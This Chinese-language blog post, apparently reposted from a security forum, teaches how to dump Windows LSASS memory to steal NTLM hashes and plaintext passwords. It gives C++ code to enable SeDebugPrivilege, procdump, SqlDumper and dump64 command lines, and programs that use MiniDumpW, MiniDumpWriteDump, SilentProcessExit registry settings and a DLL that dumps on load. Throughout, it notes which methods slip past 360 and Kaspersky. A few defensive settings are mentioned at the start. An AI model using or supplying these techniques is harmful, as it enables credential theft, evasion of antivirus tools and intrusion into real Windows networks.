由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。(本文仅用于交流学习)
windows中密码一般由两部分组成,LM Hash与NTLM Hash。 windows中Hash的结构如下: username:RID:LM-HASH:NT-HASH
(个人版windows Vista以后,服务器版windows Server 2003以后操作系统的认证方式都为NTLM Hash) 通常可从Windows系统中的SAM文件和域控的NTDS.dit文件(在域环境中,用户信息存储在NTDS.dit中)中获得所有用户的Hash。也可以通过Mimikatz读取lsass.exe进程获得已登录用户的NTLM hash和明文值 。
简易防范: 在WinSer12 中新增了 Protected Users 全局安全组,将需要保护的用户放入该组,便无法使用 Mimikatz 等工具抓取 Hash 值和明文密码。
安装 KB2871997: Microsoft KB2871997的学习
注:安装 KB2871997 后,普通用户无法使用常规的 Hash 值传递攻击,但 SID 500 (Administrator)账号依然中可以进行 Hash 传递攻击。 修改注册表禁止在内存中存储明文密码 关闭 Wdigest 功能(WinSer12 及以上版本默认关闭 Wdigest),防止用户密码在内存中以明文形式泄露。Wdigest 功能开启时,攻击者可以使用工具获取明文密码;反之,不能。 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken:默认设置为0。如果设置为1,则SID为500的管理员也不能通过网络登录的方式获取高权限。
SeDebugPrivilege是调试权限的程序,开启了这个特权之后可以可以读写system启动的进程的内存,很显然我们想要dump或者OpenProcess下lsass.exe 进程,那么肯定需要SeDebugPrivilege权限
whoami /priv
我们以普通用户开启一个cmd窗口进行查看,发现并没有找到SeDebugPrivilege
我们以管理员身份启动一个cmd窗口进行查看,显示我们想要开启SeDebugPrivilege特权,那么需要管理员权限
如果想要更详细的说明,建议去msdn看官方文档,话不多说我们来看看如何开启SeDebugPrivilege特权
OpenProcessToken、LookupPrivilegeValue、AdjustTokenPrivileges三个函数的实现,对照msdn文档一目了然
#include
#include using namespace std;
void GetPrivilege() {
HANDLE TokenHandle = NULL;
BOOL Open = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &TokenHandle);
if (Open != 0) {
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
BOOL Lookup = LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = true ? SE_PRIVILEGE_ENABLED : 0;
if (Lookup != 0) {
BOOL AdjustToken = AdjustTokenPrivileges(TokenHandle, FALSE, &tp, sizeof(tp), NULL, NULL);
if (AdjustToken != 0)
{
CloseHandle(TokenHandle);
cout << "AdjustTokenPrivileges Success" << endl;
}
else
{
cout << "AdjustTokenPrivileges Error" << endl;
}
}
else
{
cout << "LookupPrivilegeValue Error" << endl;
}
}
else
{
cout << "OpenProcessToken Error" << endl;
}
}
void main() {
GetPrivilege();
system("cmd");
}
这个函数是未公开函数,很是厉害,该函数在ntdll.dll这个动态链接库,因此直接动态调用即可
函数结构
NTSTATUS RtlAdjustPrivilege
(
ULONG Privilege, #权限ID
BOOL Enable, #True是打开,False是关闭
BOOL CurrentThread, #True是提升当前线程权限,False是提升整个进程权限
PULONG Enabled #指针,内容是特权未修改的状态,最后一个参数别设置为NULL
);
#include
#include using namespace std;
typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)(
ULONG Privilege, BOOL Enable, BOOL CurrentThread, PULONG Enabled
);
_RtlAdjustPrivilege RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlAdjustPrivilege");
int SeDebugPrivilege() {
ULONG t;
RtlAdjustPrivilege(20, TRUE, FALSE, &t);
if (RtlAdjustPrivilege == NULL) {
cout << "Unable to resolve RtlAdjustPrivilege" << endl;
return 0;
}
cout << "RtlAdjustPrivilege Success" << endl;
}
void main() {
SeDebugPrivilege();
system("cmd");
}
接下来进入正题
ProcDump是一个命令行实用工具,其主要用途是监视应用程序的 CPU 峰值,并在出现峰值期间生成故障转储,管理员或开发人员可以使用这些转储来确定峰值的原因。
因此其是自带微软签名的
procdump.exe -accepteula -ma lsass.exe lsass.dmp
实际中360会直接查杀
卡巴斯基虽然不会查杀,但是其敏感进程会拦截
作为 SQL External minidumper 文件,它是为在 Microsoft SQL Server 中使用而由 inFlow Inventory Software 创建的。
同样其文件具有微软的签名(360、卡巴斯基无法抓取)
tasklist /svc | findstr "lsass.exe"SqlDumper.exe pid 0 0x01100
这个是Visual Studio中自带的,因此也是具有微软的签名
dump64.exe pid d:\a.dmp
卡巴斯基无法导出文件
360直接拦截
推特上大哥分享的LOLBIN,Visual Studio中自带的程序 路径
C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\Extensions\TestPlatform\Extensions
卡巴斯基过不了 除了白名单我们还可以直接利用函数来实现dump
comsvcs.dll转储MiniDumpW,MiniDumpW是comsvcs.dll中的函数
dumpbin /exports C:\Windows\System32\comsvcs.dll
通过CreateToolhelp32Snapshot函数对所有进程进行快照的拍摄 利用RtlAdjustPrivilege函数对进程进行权限提升 利用Process32First、Process32Next函数,遍历拍摄的快照,寻找lsass.exe进程,获得其Pid 动态调用MiniDumpW函数进行dump 很明了了,根据msdn文档对照即可实现
#include
#include
#include
#include
#include
#include using namespace std;
...............................
...............................
...............................
_RtlAdjustPrivilege RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlAdjustPrivilege");
//获取SeDebugPrivilege,最后一个参数别设置为NULL
int SeDebugPrivilege() {
ULONG t;
RtlAdjustPrivilege(20, TRUE, FALSE, &t);
if (RtlAdjustPrivilege == NULL) {
cout << "Unable to resolve RtlAdjustPrivilege" << endl;
return 0;
}
cout << "RtlAdjustPrivilege Success" << endl;
}
int main(int argc, char* argv[]) {
DWORD pid;
PROCESSENTRY32 ed;
ed.dwSize = sizeof(PROCESSENTRY32);
...............................
...............................
...............................
cout << "MiniDumpW Success" << endl;
cout << "C:\\Windows\\Temp\\" << a << endl;
return 0;
}
卡巴斯基无法导出文件
360核晶无法导出完整文件
函数参考官方手册,很简单一目了然
https://learn.microsoft.com/zh-cn/windows/win32/api/minidumpapiset/nf-minidumpapiset-minidumpwritedump
然后利用MiniDumpWriteDump函数从内存中进行dump
#include
#include
#include
#include
#include
#include using namespace std;
#pragma comment( lib, "DbgHelp.lib" )
typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)(
ULONG Privilege, BOOL Enable, BOOL CurrentThread, PULONG Enabled
);
_RtlAdjustPrivilege RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlAdjustPrivilege");
//获取SeDebugPrivilege,最后一个参数别设置为NULL
int SeDebugPrivilege() {
ULONG t;
RtlAdjustPrivilege(20, TRUE, FALSE, &t);
if (RtlAdjustPrivilege == NULL) {
cout << "Unable to resolve RtlAdjustPrivilege" << endl;
return 0;
}
cout << "RtlAdjustPrivilege Success" << endl;
}
int main() {
DWORD pid;
PROCESSENTRY32 ed;
ed.dwSize = sizeof(PROCESSENTRY32);
...............................
...............................
...............................
SeDebugPrivilege();
HANDLE Open_Handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
...............................
...............................
...............................
if (isDumped == TRUE) {
cout << "Success" << endl;
}
else
{
cout << "MiniDumpWriteDump Error" << endl;
}
return 0;
}
对于卡巴斯基任然无法导出
360核晶无法导出完整文件
之前有个操作就是利用蓝屏崩溃来进行转储绕过卡巴斯基进行dump,但是把对方电脑都弄蓝屏了这显示不实用。 在win7之后,windows引入了一些进程退出的相关机制,即Selftermination的ExitProcess.与Crossprocesstermination的TerminateProcess. 这次利用的就是Silent Process Exit(静默退出)。
我们可以调用ntdll.dll的RtlReportSilentProcessExit()函数,我们可以利用其进行转储文件又不会导致程序崩溃(因为lsass进程崩溃可能会导致电脑重启)
我们首先要在注册表中设置如下(有点像IFEO是吧)
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Option\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\
其中HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Option\的GlobalFlag键设置为FLG_MONITOR_SILENT_PROCESS_EXIT (0x200)
在HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit项下设置三个属性
详细参考MSDN(非常的详细了)
https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit
ReportingMode (REG_DWORD) 需要执行的操作
* LAUNCH_MONITORPROCESS (0x1) – 启动一个监控进程
* LOCAL_DUMP (0x2) – 为导致终止的进程和被终止的进程创建转储文件
* NOTIFICATION (0x4) – 显示弹出通知
LocalDumpFolder(REG_SZ) 转储文件保存的路径
DumpType(REG_DWORD)转储文件类型
通过RegCreateKeyExA、RegSetValueExA函数设置好上述两个注册表
#include
#include
#include
#include
#include
#include using namespace std;
...............................
...............................
...............................
_RtlAdjustPrivilege RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlAdjustPrivilege");
//获取SeDebugPrivilege,最后一个参数别设置为NULL
int SeDebugPrivilege() {
ULONG t;
RtlAdjustPrivilege(20, TRUE, FALSE, &t);
if (RtlAdjustPrivilege == NULL) {
cout << "Unable to resolve RtlAdjustPrivilege" << endl;
return 0;
}
cout << "RtlAdjustPrivilege Success" << endl;
}
int Get_Pid() {
HRESULT hr;
DWORD pid;
PROCESSENTRY32 ed;
ed.dwSize = sizeof(PROCESSENTRY32);
...............................
...............................
...............................
if (RegCreate == ERROR_SUCCESS) {
cout << "RegCreateKeyExA Success" << endl;
DWORD GlobalFlag = 0x200;
LSTATUS RegSetValue_GlobalFlag = RegSetValueExA(phkResult, "GlobalFlag", 0, REG_DWORD, (const BYTE*)&GlobalFlag, sizeof(DWORD));
...............................
...............................
...............................
if (RegSetValue_ReportingMode == ERROR_SUCCESS && RegSetValue_LocalDumpFolder == ERROR_SUCCESS
&& RegSetValue_DumpType == ERROR_SUCCESS) {
cout << "RegSetValue_All Success" << endl;
}
else
{
cout << "RegSetValue_One Error" << endl;
}
}
else
{
cout << "RegCreateKeyExA SilentProcessExit Error" << endl;
}
}
else
{
cout << "RegCreateKeyExA Error" << endl;
}
return 0;
}
int main(int argc, char* argv) {
Reg_Set();
DWORD pid = Get_Pid();
cout << "Lsass Pid is:" << pid << endl;
...............................
...............................
...............................
cout << "Path:C:\\tmp" << endl;
}
else {
cout << "OpenProcess Error" << endl;
}
return 0;
}
360会检测其对注册表的操作
卡巴斯基同样无法导出
具体实现都差不多,只不过写在了Dll里面
#include <Windows.h>
#include <iostream>
#include <tlhelp32.h>
#include <processthreadsapi.h>
#include <DbgHelp.h>#pragma comment( lib, "DbgHelp.lib" )
...............................
...............................
...............................
//获取SeDebugPrivilege,最后一个参数别设置为NULL
int SeDebugPrivilege() {
ULONG t;
RtlAdjustPrivilege(20, TRUE, FALSE, &t);
if (RtlAdjustPrivilege == NULL) {
cout << "Unable to resolve RtlAdjustPrivilege.\n" << endl;
return 0;
}
cout << "RtlAdjustPrivilege Success" << endl;
}
void Dump() {
DWORD pid;
DWORD gid;
PROCESSENTRY32 ed;
...............................
...............................
...............................
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
Dump();
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
卡巴斯基过不了
本篇只是列出了一些常规的方法,还有一些方法没有介绍到比如ssp等 最后
卡巴斯基也是一样
文章来源于:https://forum.butian.net/share/2094
若有侵权请联系删除
加下方wx,拉你一起进群学习
往期推荐
域内令牌窃取
最简单绕过ring3 hook的方式(bypass bitdefender)
域内定位个人PC的三种方式
基于资源的约束委派(RBCD)
syscall的检测与绕过
DLL劫持之IAT类型
patchless amsi学习